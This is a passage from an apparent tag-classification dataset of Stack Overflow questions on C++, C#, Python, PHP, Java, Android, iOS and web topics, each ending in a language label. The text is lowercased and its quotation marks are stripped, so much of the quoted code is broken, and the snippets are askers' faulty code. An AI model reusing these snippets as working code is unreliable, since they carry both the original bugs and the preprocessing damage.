box::setheight(double height) {     const double min = 0.01;      if (height &gt; 0 &amp;&amp; height &lt; min)     {         height = 0.01;         boxheight = height;     }     else if (height &lt; 0)     {         height *= -1;         boxheight = height;     }     else      {         boxheight = height;     } } void box::setwidth(double width) {     const double min = 0.01;      if (width &gt; 0 &amp;&amp; width &lt; min)     {         width = 0.01;         boxwidth = width;     }     else if (width &lt; 0)     {         width *= -1;         boxwidth = width;     }     else      {         boxwidth = width;     } } void box::setdepth(double depth) {     const double min = 0.01;      if (depth &gt; 0 &amp;&amp; depth &lt; min)     {         depth = 0.01;         boxdepth = depth;     }     else if (depth &lt; 0)     {         depth *= -1;         boxdepth = depth;     }     else      {         boxdepth = depth;     } }  double box::getvolume() const {     double volume = 0.0;      volume = getheight() * getheight() *getdepth();      return volume;  }  // where the problem is     string box::tostring()      {         cout &lt;&lt;  height:   &lt;&lt; getheight() &lt;&lt;   width:   &lt;&lt; getwidth() &lt;&lt;   depth:   &lt;&lt; getdepth();         return 0;     } </code></pre>,c++
linq two classes with foreign key  i have this  two table   <pre><code>class a {     int ida;     string desca; }  class b {     int idb;     string descb;     int ida; } </code></pre>   ida in  b  is a foreign key for class a  and i have a function that return a list of  a  <code>getlista()</code> and with this function i have to count how many  b  that has descb empty  this is what i did:   <pre><code>var emptydescb = getlista().where(p =&gt; p.b.all(k =&gt; k.descb != 0)).count(); </code></pre>   but this isnt working how it should :/ . any idea guys can i count how many empty descb that i have,c#
css - rollover one element  and make another element visible  in css  is it possible that when i rollover one element  i make another element visible   i have an icon  and when someone mouses over it  i want it to make visible a text element that describes what the icon does.,css
find the end of the body tag in an html file with python  hi i have the following code<br>   <pre><code>inex =  app/index.html   original = open(index  r ) for line in original:     if line == &lt;/body&gt; :         print  here  original.close() </code></pre>   but it doesn t seem to find the line  . do i have to strip out potential white space even though the index.html file has none  any clues on how to find the  tag <br> thanks,python
split a list using linq  i ve the following code:   <pre><code>  var e = somelist.getenumerator();   var a = new list&lt;foo&gt;();   var b = new list&lt;foo&gt;();   while(e.movenext())  {      if(checkcondition(e.current)) {          b.add(e.current);          break;      }      a.add(e.current);  }  while(e.movenext())   b.add(e.current) </code></pre>   this looks ugly.  basically  iterate through a list and add elements to one list until some condition kicks in  and add the rest to another list.     is there a better way e.g. using linq   checkcondition() is expensive  and the lists can be huge so i d prefer to not do anything that iterates the lists twice.,c#
ch2 hartl tutorial migrations are pending. to resolve this issue  run: bin/rake db:migrate rails_env=development  i am working on the hartl ruby on rails tutorial  chapter two (<a href= https://www.railstutorial.org/book/toy_app  rel= nofollow >https://www.railstutorial.org/book/toy_app</a>)  and working from cloud9. i have installed the gem using this code:   <pre><code>gem install rails -v 4.2.0.beta4 </code></pre>   i then add the gems to the gemfile.    i then create the new toy app:   <pre><code>rails _4.2.0.beta4_ new toy_app </code></pre>   i cd to the toy_app.    then i bundle install:   <pre><code>bundle install --without production </code></pre>   i then scaffold:   <pre><code>rails generate scaffold user name:string email:string </code></pre>   and then i rake:   <pre><code>bundle exec rake db:migrate </code></pre>   but i continually get an error message when i try to access the webpage from cloud9:      <a href= https://rails-tutorial-codertodd-3.c9.io/  rel= nofollow >https://rails-tutorial-codertodd-3.c9.io/</a>.    the error message usually reads as follows: <strong>migrations are pending. to resolve this issue  run: bin/rake db:migrate rails_env=development</strong>    my friend also tried to do the same operation on a different computer and got the same error message. any help would be much appreciated! thanks!    -t,ruby-on-rails
not able to understand the reason for output  i am running a code snippet. but i am not able to understand the code and the output that it is producing.   <pre><code>#include &lt;stdio.h&gt; int main()   {    int a  b c  d;       a=3;       b=5;       c=a b;       d=(a b);         printf( c = %d   c);       printf( \nd = %d   d);       return 0; }   </code></pre>   the output of this program is:   <pre><code>c=3 d=5 </code></pre>   i am not getting how the output is coming,c
making a javascript yes/no confirmation box   well javascript confirmation gives the ok/cancel button but i want to create a confirmation with yes and no in javascript can anyone help,javascript
changing/modifying selector assigned to uinavigationbar.backitem  and for some reasons i don t want to use leftbarbuttonitem. that will be my second priority. fyi i m creating my own uinavigationcontroller class  so that i can accommodate a image on top of the navigationcontroller.,iphone
is there a java container or collection you can deallocate the size of   i have a program which stores alot of data in memory currently using hashmaps.  i m curious if there is a container or collection in java which i can change the size of the container without copying the contents to another container.  so say i have a hashmap and its size is 1000 entries.  and i start removing data from the hashmap.  the size of the hashmap remains 1000 even though it doesnt contain 1000 entries anymore.  is there a container out there where i can deallocate the memory used without copying the contents.  the reason i dont want to copy the contents is the data stored is so large attempting to copy the contents to a new container would cause my system to run out of memory.,java
are higher versions of the .net framework compatible with lower versions   if an application requires .net framework 1.1  will it work if i have .net framework 3.5 or 4 installed     when trying to start a application  i was getting the error    <blockquote>     unable to find a version of the runtime to run this application .  </blockquote>   i read on another site that installing .net framework 1.1 will solve it. i downloaded and installed v4. now the error is gone  but now it shows   <blockquote>     the requested operation failed .  </blockquote>,.net
c# handling keypresses <pre><code>private void textbox1_keypress(object sender  keypresseventargs e) {     if (e.keychar &lt;  0  || e.keychar &gt;  9 )         if (e.keychar !=  \b )             e.handled = true;  } </code></pre>   i am not understanding how this code is not allowing anything except backspace and numbers.    <ol> <li>the first if statement is saying if it is not 0 - 9 then dont do anything </li> <li>the second one is saying if it s not backspace dont do anything </li> <li>what does <code>e.handled=true</code> do </li> </ol>,c#
struggling to understand workflow for java files  i am struggling to understand the workflow when you have multiple java files.    mynode.java:    <pre><code>package x; class mynode {     private mynode next = null;     private int d;     mynode(int d) {         this.d = d;     }     void append(int d) {         mynode curr = this;         while (curr.next != null) {             curr = curr.next;         }         curr.next = new mynode(d);     } } </code></pre>   mymain.java:   <pre><code>package x; class mymain {     public static void main() {         mynode x = new mynode(1);         x.append(2);     } } </code></pre>   i get the following error message when i try to compile mymain.java   <pre><code>error: cannot find symbol         mynode x = new mynode(1);         ^   symbol:   class mynode   location: class mymain </code></pre>,java
does android reuse views during a orientation change  does android reuse views during a orientation change  i have a progress bar in my activity. i set the progress to 50%  and then do an orientation change. but for some reason  the progress bar maintain 50% after the orientation.  i have call setprogress(0) in the oncreate() of my activity. and i have put  printf  in anywhere i call setprogress()  i don t still don t understand why the progress bar maintains 50% everytime i do an orientation change     thank you for any help.,android
how to reload a uitableviewcell  in an other question it was told to reload only the needed uitableviewcells instead of the whole table.    how can this be done. i must say  currently i m a bit clueless  cause my custom cells are not  directly  bound to a tableview. i instantiate them in the cellforrowatindexpath method.   <pre><code>//default         static nsstring *cellidentifier = @ cell ;          tworowcell *cell = (tworowcell*)[tableview dequeuereusablecellwithidentifier:cellidentifier];         if (cell == nil) {              nsarray *nib = [[nsbundle mainbundle] loadnibnamed:@ tworowcell  owner:self options:nil];             cell = (tworowcell *)[nib objectatindex:0];         }          // configure the cell...          cell.title.text = [dict objectatindex:indexpath.row];         cell.value.text = @  ;          return cell; </code></pre>   how can i get access to the cells and reload only the cell. idea: having some delegate-methods and there when updating a cell reload the cell. currently i reload the whole table.    br  mybecks,objective-c
php date() function gets wrong minutes... why   i was working with a project in php and i noticed that date (and time too) return wrong time. at first it seemed the wrong timezone  but later i noticed that there is not one or more hours of difference (i m working on localhost) with system clock  but about 28 minutes... that s weird.. what could it possibly be,php
canr run simple android  web apps in webview   this is my first android app and i m a little disapponted because i m not even able to run the google sample!!    google sample: <a href= http://developer.android.com/guide/webapps/webview.html  rel= nofollow >http://developer.android.com/guide/webapps/webview.html</a>    android version 2.1 (as suggested)    this is the log when i m trying to run the app:   <pre><code>[2012-02-06 18:30:18 - xxx] ------------------------------ [2012-02-06 18:30:18 - xxx] android launch! [2012-02-06 18:30:18 - xxx] adb is running normally. [2012-02-06 18:30:18 - xxx] performing yyy.android.android.xxxactivity activity launch [2012-02-06 18:30:18 - xxx] automatic target mode: using existing emulator  emulator-5554  running compatible avd  test21  [2012-02-06 18:30:18 - xxx] uploading xxx.apk onto device  emulator-5554  [2012-02-06 18:30:18 - xxx] installing xxx.apk... [2012-02-06 18:30:21 - xxx] success! [2012-02-06 18:30:21 - xxx] starting activity yyy.android.android.xxxactivity on device emulator-5554 [2012-02-06 18:30:23 - xxx] activitymanager: starting: intent { act=android.intent.action.main cat=[android.intent.category.launcher] cmp=yyy.android/.android.xxxactivity } [2012-02-06 18:30:23 - xxx] activitymanager: java.lang.securityexception: permission denial: starting intent { act=android.intent.action.main cat=[android.intent.category.launcher] flg=0x10000000 cmp=yyy.android/.android.xxxactivity } from null (pid=-1  uid=-1) requires android.permission.internet </code></pre>   but i ve already gave the internet permission!    these are my files:    <strong>.java</strong>   <pre><code>package xxx.android;  import android.app.activity; import android.os.bundle; import android.webkit.*;;  public class xxxactivity extends activity {      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);      setcontentview(r.layout.main);       // configuration of the webview     final webview webview = (webview) findviewbyid(r.id.webview);     final websettings settings = webview.getsettings();      settings.setjavascriptenabled(true);      webview.loadurl( http://www.google.com );           } } </code></pre>   <strong>main.xml</strong>   <pre><code>&amp;lt; xml version= 1.0  encoding= utf-8  &amp;gt;  &amp;lt;webview xmlns:android= http://schemas.android.com/apk/res/android      android:id= @+id/webview      android:layout_width= fill_parent      android:layout_height= fill_parent  /&amp;gt; </code></pre>   <strong>manifest.xml</strong>   <pre><code>&amp;lt; xml version= 1.0  encoding= utf-8  &amp;gt; &amp;lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      android:versioncode= 1      android:versionname= 1.0  package= xxx.android &amp;gt;      &amp;lt;uses-permission android:name= android.permission.internet  /&amp;gt;      &amp;lt;uses-sdk android:minsdkversion= 7  /&amp;gt;      &amp;lt;application         android:icon= @drawable/ic_launcher          android:label= @string/app_name           android:permission= android.permission.internet &amp;gt;         &amp;lt;activity             android:name= .android.xxxactivity              android:label= @string/app_name  &amp;gt;             &amp;lt;intent-filter&amp;gt;                 &amp;lt;action android:name= android.intent.action.main  /&amp;gt;                 &amp;lt;category android:name= android.intent.category.launcher  /&amp;gt;             &amp;lt;/intent-filter&amp;gt;         &amp;lt;/activity&amp;gt;     &amp;lt;/application&amp;gt;  &amp;lt;/manifest&amp;gt; </code></pre>,android
asp.net  how to get last part of url as webpage heading  how do i get the last part of url after categoery/     <strong>url: <a href= http://localhost:3333/category/laptops%2c%20pc%2c%20harddrives  rel= nofollow noreferrer >http://localhost:3333/category/laptops%2c%20pc%2c%20harddrives</a></strong>    i ve used the following code to get the url  and used it as heading of page    <pre><code> &lt;h2&gt;&lt;%: page.request.rawurl.tostring ()%&gt; &lt;/h2&gt; </code></pre>   however i get  the following result:  /category/laptops  pc  harddrives    i want to get following result: laptops  pc  harddrives,asp.net
absolute images with https url are not working in itextsharp.xmlworker  absolute images with https url are not working in itextsharp.xmlworker. same images are working with http perfectly. please note that i can view the images by typing https url and they also working fine on the website. any help would be welcome.,.net
i m getting a notice in 1 of my textboxes for some reason  why do i get the following text in the referer textbox:   <blockquote>    notice: undefined index: referer in   /var/www/register.php on line 86  </blockquote>   when the following script loads    <pre><code>&lt; php     error_reporting( e_all | e_strict );     ini_set( display_errors   1);  &gt;  &lt;html&gt;     &lt;head&gt;         &lt;title&gt;&lt;/title&gt;         &lt;link rel= icon  type= image/png  href= favicon.ico &gt;          &lt; php             $err = array();              if( $_server[ request_method ]== post  ) {                  if( empty( $_post[ display_name ] ) ) $err[] =  display name field is required ;                 if( empty( $_post[ email ] ) ) $err[] =  email field is required ;                 if( empty( $_post[ password ] ) ) $err[] =  password field is required ;                  if( !$err ) {                     try {                         $dbh = new pdo(  mysql:host=localhost;dbname=database1    user    pass  );                         $dbh -&gt; setattribute( pdo::attr_errmode  pdo::errmode_exception );                          $sth = $dbh -&gt; prepare(  insert into database1.table1 (display_name  email  password) values ( :display_name  :email  :password )  );                          $sth -&gt; bindparam(  :display_name   $_post[ display_name ]  pdo::param_str  100 );                         $sth -&gt; bindparam(  :email   $_post[ email ]  pdo::param_str  100 );                         $sth -&gt; bindparam(  :password   $_post[ password ]  pdo::param_str  100 );                          $sth -&gt; execute();                          if( !empty( $_post[ referer ] ) ) {                             $sth = $dbh -&gt; prepare(  insert into database1.table2 ( username  status  users_id ) values ( :username  :status  :users_id )  );                              $strstatus = 1;                              $sth -&gt; bindparam(  :username   $_post[ display_name ]  pdo::param_str  100 );                             $sth -&gt; bindparam(  :status   $strstatus  pdo::param_int  1 );                             $sth -&gt; bindparam(  :users_id   $_post[ referer ]  pdo::param_int  1 );                              $sth -&gt; execute();                         }                          $dbh = null;                          header(  location:  .$_server[ php_self ] );                         exit;                     } catch( pdoexception $e ) {                         error_log( $e -&gt; getmessage() );                          switch( $e -&gt; getcode()) {                             case 23000:                                 echo  sorry  the referral id you have entered does not exist.  however  your account has been created so you can add your referral details in later. ;                                 break;                             default:                                 echo $e -&gt; getmessage();                               }                     }                   } else {                     foreach( $_post as $key =&gt; $val ) {                         $form[$key] = htmlspecialchars($val);                     }                 }             } else {                 $form[ display_name ] = $form[ email ] = $form[ password ] =   ;             }          &gt;     &lt;/head&gt;      &lt;body&gt;         &lt; php             if ( isset( $err ) ) {                 foreach( $err as $line ) {                     echo  &lt;div style=\ error\ &gt; .$line. &lt;/div&gt; ;                 }             }          &gt;          &lt;h1&gt;register&lt;/h1&gt;          &lt;form method= post &gt;             referers id:&lt;br /&gt;             &lt;input type= text  name= referer  value= &lt; php echo $form[ referer ];  &gt;  /&gt;&lt;br /&gt;&lt;br /&gt;              name:&lt;br /&gt;             &lt;input type= text  name= display_name  value= &lt; php echo $form[ display_name ];  &gt;  /&gt;&lt;br /&gt;&lt;br /&gt;              email:&lt;br /&gt;             &lt;input type= text  name= email  value= &lt; php echo $form[ email ];  &gt;  /&gt;&lt;br /&gt;&lt;br /&gt;              password:&lt;br /&gt;             &lt;input type= text  name= password  value= &lt; php echo $form[ password ];  &gt;  /&gt;&lt;br /&gt;&lt;br /&gt;              &lt;input type= submit  value= register  /&gt;         &lt;/form&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,php
advice on writing sql delete statement  i m trying to write a delete statement using sql  based off of certain criteria. i am having trouble with it. here is the criteria.     the program should prompt the user for a ssn and delete that employee from the employee table (the records from the technician table and from the expert table that reference that employee will also be deleted as a result of the on delete cascade action),sql
getting code sign error when building ios application  getting this error when running app  it fails during buildtime.   <pre><code>/users/user/library/developer/xcode/deriveddata/appname-cqrknuczxqiiuxcvjlupnrmizjox/build/products/debug-iphonesimulator/tocropviewcontrollerbundle.bundle: bundle format unrecognized  invalid  or unsuitable command /usr/bin/codesign failed with exit code 1 </code></pre>   is it because there is a bundle within the cocoapods  pods  folder    <pre><code>codesign /users/user/library/developer/xcode/deriveddata/appname-cqrknuczxqiiuxcvjlupnrmizjox/build/products/debug-iphonesimulator/tocropviewcontrollerbundle.bundle     cd /users/user/appname/pods     export codesign_allocate=/applications/xcode.app/contents/developer/toolchains/xcodedefault.xctoolchain/usr/bin/codesign_allocate     export path= /applications/xcode.app/contents/developer/platforms/iphonesimulator.platform/developer/usr/bin:/applications/xcode.app/contents/developer/usr/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin   signing identity:      -       /usr/bin/codesign --force --sign - --timestamp=none /users/user/library/developer/xcode/deriveddata/appname-cqrknuczxqiiuxcvjlupnrmizjox/build/products/debug-iphonesimulator/tocropviewcontrollerbundle.bundle </code></pre>,ios
where should images be stored in a .net project   if you are using maven with java it has the convention of separate directories for classes and resources. e.g.   <blockquote>    src - main - java<br>     src - main - resources  </blockquote>   all my source code would go in the first directory (well sub-directories due to packages) and images  xml files etc would go in the second directory.    is there a convention for .net desktop application projects     e.g.    just put everything flat in the same directory as the project file.    or put the code flat and the images in a sub-directory called images.    something else,.net
pythonic referenced for loop  i have a <code>for</code> loop as follows:   <pre><code>a=[1 2 3 4 5] for i in a:     i=6 </code></pre>   what i would like is for every element of <code>a</code> to become <code>6</code>.    now i know that this <code>for</code> loop won t do it  because i am merely changing the what <code>i</code> refers to.    i instead could write:   <pre><code>a=[1 2 3 4 5] for i in len(range(a)):     a[i]=6 </code></pre>   but that doesn t seem very pythonic. what are good ways of doing this sort of thing  obviously  setting everything to <code>6</code> is contrived example and  in reality  i would be doing more complicated (and wonderful) things. therefore  answers should be generalised.,python
how to customize the uidatepicker  i am using a datepicker. now  what i have to do is to show day  date  month and year only. is there any way to do that. thanks in advance.,iphone
restoring objects in state preservation- objective c  i am trying to save an object of first_view_controller in second_view_controller by using state restoration and preservation technique without using storyboards but my app is crashing with unrecognized selector instance error. i tried to preserve nsstring object it works fine but when i try to preserve an object i can see only the error. may be i am not doing it correctly please help me. thanks in advance.,objective-c
handling push notification and using message in if condition  i want to have following functionality in my app: when a notification comes the app should use the message in it. from that message app should get the nsdate type string and show a particular view only on that that by using in if condition. please suggest me how can i do so,ios
what is lazy initialization and why is it useful   what is lazy initialization of objects   how do you do that and what are the advantages,.net
getting error while compiling this code  i am writing code to create a proper link lists. please tell the errors in this program<a href= http://i.stack.imgur.com/rhszp.png  rel= nofollow >errors while compiling</a>    <pre><code>    #include &lt;stdio.h&gt;     #include &lt;string.h&gt;     #include &lt;stdlib.h&gt;     typedef void* cadtpointer;     struct cadtlist      {       cadtpointer data;       struct cadtlist* next;      }; /* structure*/       struct cadtlist* cadt_list_init( )      {         struct cadtlist * temp  * head * list;         int num;         char *p  s[100];         printf(  enter the number of nodes to be created );         while (fgets(s  sizeof(s)  stdin))          {           num = strtol(s  &amp;p  10);           if (p == s || *p !=  \n )              {                 printf( please enter an integer:  );             }           else break;         }          while (num != 0)         {          if(null != list )          {            list-&gt;next = cadt_create_list(temp);             }          else         {           list = cadt_create_list(temp);           head = list;         }         num--;       }       }    struct cadtlist* cadt_create_list(struct cadtlist * list)    {     int n;     char * data;     struct cadtlist * newnode;     newnode = ( struct cadtlist *) malloc( sizeof(struct cadtlist));     if( null != newnode )     {         printf(  enter the data to be added );         scanf( %s   data);         n= cadt_add_list(data newnode);         if( 1 == n)         return newnode;      }     else     {         printf(  error while allocating memory );         exit(1);     }    }    struct cadtlist* cadt_add_list( char* item struct cadtlist * list)    {    list-&gt;data = item;    if(null == list-&gt;data)     {         return list;     }     else     {         printf(  error while adding data );         exit(1);     }    }    int main()  {     struct cadtlist* list1;     list1 = cadt_list_init();      return 0;   } </code></pre>,c
angularjs cant get category  all  while filtering  i started to play with angular and i am trying to write a simple app that consists of categories containing items. ( i am trying to implement a tutorial for my needs )     now i am trying to add a filter to select items by categories. i can filter them unless i choose all categories. i cant get all the categories. i have edges service :   <pre><code>angular.module( swfrontapp )   .controller( edgescontroller   function ($scope  edges categories) {     $scope.edges = edges.query();     $scope.categories = categories.query();      $scope.filterby = {         search:             category: $scope.categories[0]     };       var selectededge = null;      $scope.selectedge = function(edge) {         selectededge = (selectededge === edge)   null : edge;     };      $scope.isselected = function(edge)  {         return edge === selectededge;     };     $scope.displayrequirements = function(reqs) {         var result =   ;          for ( var i = 0; i &lt; reqs.length; i ++) {             if (result !==    ) { result +=     }             if (reqs[i].name) {                 result += reqs[i].name+    ;             }             result +=  reqs[i].value;         }         return result;     };   });  </code></pre>   and i try to filter them using  :   <pre><code>angular.module( swfrontapp ).filter( edges   function() {     return function(edges  filterby) {         return edges.filter( function( element  index  array ) {             return element.category.name === filterby.category.name;          });     }; } ); </code></pre>   here is my html to get edges with categories filter    <pre><code>&lt;select              name= category               ng-model= filterby.category              ng-options= c.name for c in categories              class= form-control &gt;&lt;/select&gt;     &lt;ul&gt;         &lt;li ng-repeat-start= edge in edges | filter:{name: filterby.search}| edges: filterby   ng-click= selectedge(edge) &gt;             &lt;span class= label label-default &gt;{{ edge.category.name }}&lt;/span&gt;             {{edge.name}}             &lt;span class= text-muted &gt;({{ displayrequirements(edge.requirements) }})&lt;/span&gt;         &lt;/li&gt;         &lt;li ng-repeat-end ng-show= isselected(edge) &gt;             {{edge.description}}         &lt;/li&gt;     &lt;/ul&gt; </code></pre>   i formed my <a href= http://plnkr.co/edit/e5o2pp4nadduflnz8kmh  rel= nofollow >plunker link</a> is here. thanks,angularjs
presenting a modalviewcontroller containing a tabbarcontroller  i have a problem with presenting and dismissing a modalviewcontroller that contains a tabbarview controller (with two viewcontrollers).     i have no problem in presenting and dismissing the modal  but i have a navbar setup at the top of each view controller with a done button that will dismiss the modal and return the user back to the main view. the problem is that when the user taps the button to bring up the modal  it brings up the viewcontroller that released the modal. i would prefer it to bring up the first viewcontroller (the one furthest left on the tabbar).     i know it s really vague  but any ideas,iphone
hover both items  i have a list  ul  and i want next thing: when i hover the one element of list change color of span and backward.    html      <pre><code>&lt;ul class= cf &gt;             &lt;li&gt;one&lt;a href= #  class= class &gt;olympia&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;two&lt;a href= # &gt;salem&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;a href= #  class= bull class &gt;&lt;/a&gt; </code></pre>   and css   <pre><code>  #div ul li{     font-weight: 800;     margin-bottom:10px;     float: left;     margin-left:20px;  }   #div ul li a{    text-decoration: none;    font-weight: 400;    margin-left:10px;  }    #div a.bull{     position: absolute;     z-index: 999;     width: 6px;     height: 6px;     background: red;     border-radius: 50%;  } </code></pre>   i think: hover first apply to second and backward.. any can give me a hint,css
android split string doesn t work correctly  in my android app  i would like to split an array value into another array.    i have an array with the name arraya.  log of arraya[0]:   <blockquote>    peter|mustermann  </blockquote>   now i would like to split peter and mustermann  i try this:   <pre><code>string [] arrayb = arraya[0].split( | ); </code></pre>   but the log of arrayb[0] and arrayb[1] will not be:   <blockquote>    peter  </blockquote>   and   <blockquote>    mustermann  </blockquote>   it will be:   <blockquote>    p  </blockquote>   and   <blockquote>    nothing  </blockquote>   any ideas   :(,android
how to convert images into @2x  i am new to iphone apps. i want to know steps for converting normal(size) ratio images into @2x double size images. thanks in advance.,iphone
eventlogquery time format expected   i m trying to use the eventlogquery class to query the eventlog.  i followed the example shown on <a href= http://msdn.microsoft.com/en-us/library/bb671200%28v=vs.90%29.aspx#y0 >http://msdn.microsoft.com/en-us/library/bb671200%28v=vs.90%29.aspx#y0</a>.    i ve searched google a ton but can t find any queries with the @systemtime not hard-coded in there.    does anyone know the datetime format i need to use for this   everything i ve tried so far has returned  invalid query  exceptions.,.net
list of dictionaries in python  i have a dictionary in my python program which i initalize as follows   <pre><code>#it is initialized as empty dictionary self.ports = {}   # ports is initialized as follows. self.ports = { desc :desc  port_id :port_id  state :state  port_state :port_state  number :number  type : port } </code></pre>   now there are more than one port key-value pairs that i want to store.i need a list of dictionaries.how do i initialize such a structure in python,python
angular.js: set own variable in state   this is how i route to two different url:   <pre><code>.state( cars   {     url:  /cars/:title       templateurl:  templates/cars.html       controller:  article   }) .state( vegetables   {     url:  /vegetables/:titel       templateurl:  templates/vegetables.html       controller:  article   }) </code></pre>   the controller  article  looks like this:   <pre><code>.controller( article   function($scope  $http  $stateparams) {     $http({         method:  post           url:  script.php           data: { type : type   title : $stateparams.title}      }); }); </code></pre>   my question is how to set the variable type in the data of the controller  in this example type could be  cars  or  vegetables . can i set a variable in the state part,angularjs
how to translate with jquery using id in the window and translations from an object   i have a pivot table with id in the <code>&lt;th&gt;</code> and i wondering how i can use these id to get translation.    using this   <pre><code>$( th ).each(function(){     if ($(this).text() ==  1234 ) { $(this).text( mytranslationwithid1234 ); } });  </code></pre>   my object would be this:   <pre><code>{1234:  text1234 }  {3232:  text2332 }  {3278:  text3278 } </code></pre>   i have about 500 id in <code>&lt;th&gt;</code> and i would like to translate them directly using jquery,jquery
which way to append dict to list is more efficient <pre><code># method one array_a = [] a = {} for i in range(5):     a = {}     a[str(i)] = i     array_a.append(a) print(array_a) # [{ 0 : 0}  { 1 : 1}  { 2 : 2}  { 3 : 3}  { 4 : 4}]  # method two     from copy import deepcopy array_b = [] b = {} for i in range(5):     b.clear()     b[str(i)] = i     array_b.append(deepcopy(b)) print(array_b) # [{ 0 : 0}  { 1 : 1}  { 2 : 2}  { 3 : 3}  { 4 : 4}] </code></pre>   i would like to know which one of above is more efficient. and  if you have a better one  please let me know.,python
a new rails idea in views and no more controller. maybe better maybe worse  i need help if this is too bad  hy     i was thinking that all my website will have use of cells  using the known plugin cell for rails  so this is my idea:    a table that contains 3 fields: id  view_name and layout. the layout will be a serialized hash. when a request is made  the layout field is requested and then in the view  default layout  will be unserialized the layout var  that looks like this: @layout[:sidecol][:gallery] = {... some params for it...}; @layout[:maincol][:comments] = {..params...};    in the &lt;% #ruby code to render the cells in the @layout[:sidecol] %> will be some ruby code that will loop over the @layout[:sidecol] and render all cells in it. the same occurs in the maincol div.    what do you think     positive in my opinion: more modular controller is used only for post easy change of structure easier to implement some kind of traking to see diferences on what layout is better or not.    negative: not found yet    edit:    1) the request comes  is calculated the view name.    2) load from the database the layout field that corresponds to the view name. (this will be cached  and will be updated only when changes are made. i intend to use this way  because i will need to test the layout. 33% layout1  33% layout2 and 33% other layout. so will be used a random number to choose the view layout.)    3) the layout field contains: first subdivision is the name of the div to be created  then in each one will be more components  named cells in this case  that will be instanced in the application controller  because will be repeated for all get requests.    4) in the view will be created the divs and will be rendered in each one the cells defined.    5) the cell will make the request to the db and load the data.    6) the cell will then render the html and is ready to go!,ruby-on-rails
value stored to    during initialisation is never read  i am getting the warning <code>value stored to    during initialisation is never read</code> when run build and analyze tool.    its telling on <code>strs232timer* ptimer = malloc(sizeof(strs232timer));</code>    also i m getting the same warning for <code>dwdelay=1000</code> at some part of the function. which is declared as <code>unsigned long int dwdelay = 0;</code>    why is it so,objective-c
returning different return value  when i have a problem with the code im writing  i usually handle it like a story. each command is a sentence in a story. the sentences needs to make sense in order for the story to be complete/right.     so im learning java from scratch now with the mooc course at helsinki university. i got somewhat stuck at exercise 68. the program is suppose to compare integer values of a list(array) together with user input. what i programmed is a method that return true if the user input number is already on the list  and false if its not.    what i said about story at the start: the commented out code is my initial code. this did not past the last test but in my head both the commented out code and the other code say basically the same    <strong>error message (from last test):</strong> <em> answer wrong when parameter was list [0  7  9  -1  13  8  -1] and value 8 expected: <strong>false</strong> but was: <strong>true</strong> </em>   <pre><code>public static boolean morethanonce(arraylist&lt;integer&gt; list  int searched)  //        if (list.size()==1) {return false;} //         //        for (int i = 0; i &lt; list.size();i++  ){ //          if (list.contains(searched))  //           //          { //           //              return true; } //           //        } //return false; //            int counter = 0;         for (int num : list) {             if (searched == num) {                 counter++;             }         }         if (counter &gt;= 2){             return true;         } else {             return false;         }     } </code></pre>   i understand that there is something wrong  just cant seem to figure it out. do you see why the last code would be accepted  but not the first (commented out one)      if any use  the rest of the code (not my work) is this:   <pre><code> public static void main(string[] args) {         scanner reader = new scanner(system.in);         arraylist&lt;integer&gt; list = new arraylist&lt;integer&gt;();         list.add(3);         list.add(2);         list.add(7);         list.add(2);          system.out.println( type a number:  );         int number = integer.parseint(reader.nextline());         if (morethanonce(list  number)) {             system.out.println(number +   appears more than once. );         } else {             system.out.println(number +   does not appear more than once.  );         }     } } </code></pre>,java
how to detect ipad portrait and lanscape  this is my code. i want remove <code>jscrollpane</code> only ipad portrait and don t need reload page. please help me   <pre><code>$(window).resize( function(event){             var height = $(window).height();             var width = $(window).width();              if(width&gt;height) {                 var height = 0;                 height = $(window).height()-129;                 height = height-56-$( .titstyle04 ).height();                 $( .mainimgmenuin .jscrollpane ).css( height  height);                 if($( .jscrollpane ).length &gt; 0){                     $( .jscrollpane ).jscrollpane();                 }             }             else {                $( .jscrollpane ).jscrollpane().data().jsp             }          }); </code></pre>,jquery
legacy table having problems with set_primary_key  i generated a scaffold against a legacy sql server database view that has a text primary key with no id column.  i have set_primary_key  gift_id  in the model but im getting an error on the show method.      i can list the records okay but when i click on the show link  it errors out.  it appears to be using id to look up the record even though i have set_primary_key in the model.  here is the complete text of the error displayed;   <pre><code>nomethoderror in pledgescontroller#show  undefined method `eq  for nil:nilclass rails.root: /home/steve/rubymineprojects/otatest  application trace | framework trace | full trace app/controllers/pledges_controller.rb:16:in `show  request  parameters:  { id =&gt; pl-24681 } show session dump  show env dump  response  headers:  none </code></pre>   can anyone shed some light on why it is still trying to use  id  as the key   thanks for any help!,ruby-on-rails
jquery - remove all matching classes  i am trying to remove all matching classes running <code>each()</code> function.    i am selecting matching class like <code>[class*= ui-id- ]</code>. but my below jquery code wont work:    <strong>my buggy code:</strong>   <pre><code>jquery( #builder [class*= ui-id- ] ).each(function(){     jquery(this).removeclass( [class*= ui-id- ] ); }); </code></pre>   please correct my code so that it can remove all matching class <code>ui-id-</code>,jquery
issue with else statement when reading lines  so what i have to do is read from a file and have the user input hr followed by some numbers if the input is found it will print out the line that the input is located i have all that sorted but my problem is my else statement if the hr code is not found it will print out that it the input was not found but my problem is even if the number they entered was located it will print out the else statement for all of the lines that don t have the number in it. (sorry im shit at explaining stuff) but anyway here is the code.    don t know if this is easier to understand but what i want to do is if the input is found then print out the line  that works fine. but what i need to do is. if the input is not found then i want it to print out that the input was not found in the file  but i don t want it to print out for every line that is in the file   <pre><code>package assignment;  import java.util.*; import java.io.*;  public class planets1 {       public static void main( string [ ] args )     {         {             file file =new file( stars1.dat );             scanner in;              scanner keyboard = new scanner (system.in);             system.out.println( enter hr code :  );              string userinput = keyboard.nextline();             try {                 in = new scanner(file);                 while(in.hasnext())                 {                     string line=in.nextline();                     if(line.contains(userinput.touppercase()))                         system.out.println(line);                     else if(!line.contains(userinput.touppercase()))                         system.out.println( no planet with the hr code:   + userinput.touppercase() +   was found. );                  }             } catch (filenotfoundexception e) {                  e.printstacktrace();             }       }     } } </code></pre>   and what it is outputting if the code is found:    enter hr code :    <strong>hr 897</strong>    acamar;theta 1 eridani;hr 897    no planet with the hr code: hr 897 was found.    no planet with the hr code: hr 897 was found.    no planet with the hr code: hr 897 was found.    no planet with the hr code: hr 897 was found.    no planet with the hr code: hr 897 was found.    no planet with the hr code: hr 